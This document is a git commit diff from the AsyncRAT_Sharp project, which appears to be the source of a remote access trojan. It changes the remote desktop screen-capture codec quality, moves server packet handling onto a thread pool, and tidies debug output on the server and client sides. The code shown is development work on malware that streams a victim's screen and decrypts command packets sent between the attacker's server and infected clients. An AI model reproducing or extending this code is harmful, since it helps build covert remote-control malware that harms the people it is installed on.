This commit is contained in:
NYAN CAT 2019-03-29 14:15:41 -07:00
parent 6557356a14
commit 4719d0042b
6 changed files with 11 additions and 9 deletions

View File

@ -44,7 +44,7 @@ namespace AsyncRAT_Sharp.Forms
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
msgpack.ForcePathObject("Option").AsString = "true"; msgpack.ForcePathObject("Option").AsString = "true";
C.BeginSend(msgpack.Encode2Bytes()); C.BeginSend(msgpack.Encode2Bytes());
decoder = new UnsafeStreamCodec(80); decoder = new UnsafeStreamCodec(60);
} }
} }

View File

@ -13,10 +13,13 @@ namespace AsyncRAT_Sharp.Handle_Packet
class HandlePacket class HandlePacket
{ {
private static cGeoMain cNewGeoUse = new cGeoMain(); private static cGeoMain cNewGeoUse = new cGeoMain();
public static void Read(Clients Client, byte[] Data) public static void Read(object Obj)
{ {
try try
{ {
object[] array = Obj as object[];
byte[] Data = (byte[])array[0];
Clients Client = (Clients)array[1];
MsgPack unpack_msgpack = new MsgPack(); MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(Data); unpack_msgpack.DecodeFromBytes(Data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString) switch (unpack_msgpack.ForcePathObject("Packet").AsString)

View File

@ -7,6 +7,8 @@ using AsyncRAT_Sharp.Handle_Packet;
using System.Threading.Tasks; using System.Threading.Tasks;
using System.Security.Cryptography; using System.Security.Cryptography;
using System.Drawing; using System.Drawing;
using System.Diagnostics;
using System.Threading;
namespace AsyncRAT_Sharp.Sockets namespace AsyncRAT_Sharp.Sockets
{ {
@ -65,6 +67,7 @@ namespace AsyncRAT_Sharp.Sockets
if (Buffersize > 0) if (Buffersize > 0)
{ {
Buffer = new byte[Buffersize]; Buffer = new byte[Buffersize];
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
BufferRecevied = true; BufferRecevied = true;
} }
} }
@ -75,11 +78,9 @@ namespace AsyncRAT_Sharp.Sockets
await MS.WriteAsync(Buffer, 0, Recevied); await MS.WriteAsync(Buffer, 0, Recevied);
if (MS.Length == Buffersize) if (MS.Length == Buffersize)
{ {
await Task.Run(() =>
{
try try
{ {
HandlePacket.Read(this, Settings.aes256.Decrypt(MS.ToArray())); ThreadPool.QueueUserWorkItem(HandlePacket.Read, new object[] { Settings.aes256.Decrypt(MS.ToArray()), this });
} }
catch (CryptographicException) catch (CryptographicException)
{ {
@ -94,7 +95,6 @@ namespace AsyncRAT_Sharp.Sockets
MS.Dispose(); MS.Dispose();
MS = new MemoryStream(); MS = new MemoryStream();
BufferRecevied = false; BufferRecevied = false;
});
} }
else else
Buffer = new byte[Buffersize - MS.Length]; Buffer = new byte[Buffersize - MS.Length];

View File

@ -17,10 +17,9 @@ namespace Client.Handle_Packet
{ {
try try
{ {
IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80); IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60);
while (RemoteDesktop_Status == true) while (RemoteDesktop_Status == true)
{ {
Thread.Sleep(1);
if (!ClientSocket.Client.Connected) break; if (!ClientSocket.Client.Connected) break;
Bitmap bmp = GetScreen(); Bitmap bmp = GetScreen();
Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height);

View File

@ -123,7 +123,7 @@ namespace Client.Sockets
if (Buffer[0] == 0) if (Buffer[0] == 0)
{ {
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + "Bytes ///"); Debug.WriteLine("/// Buffersize: " + Buffersize.ToString() + " Bytes ///");
MS.Dispose(); MS.Dispose();
MS = new MemoryStream(); MS = new MemoryStream();
if (Buffersize > 0) if (Buffersize > 0)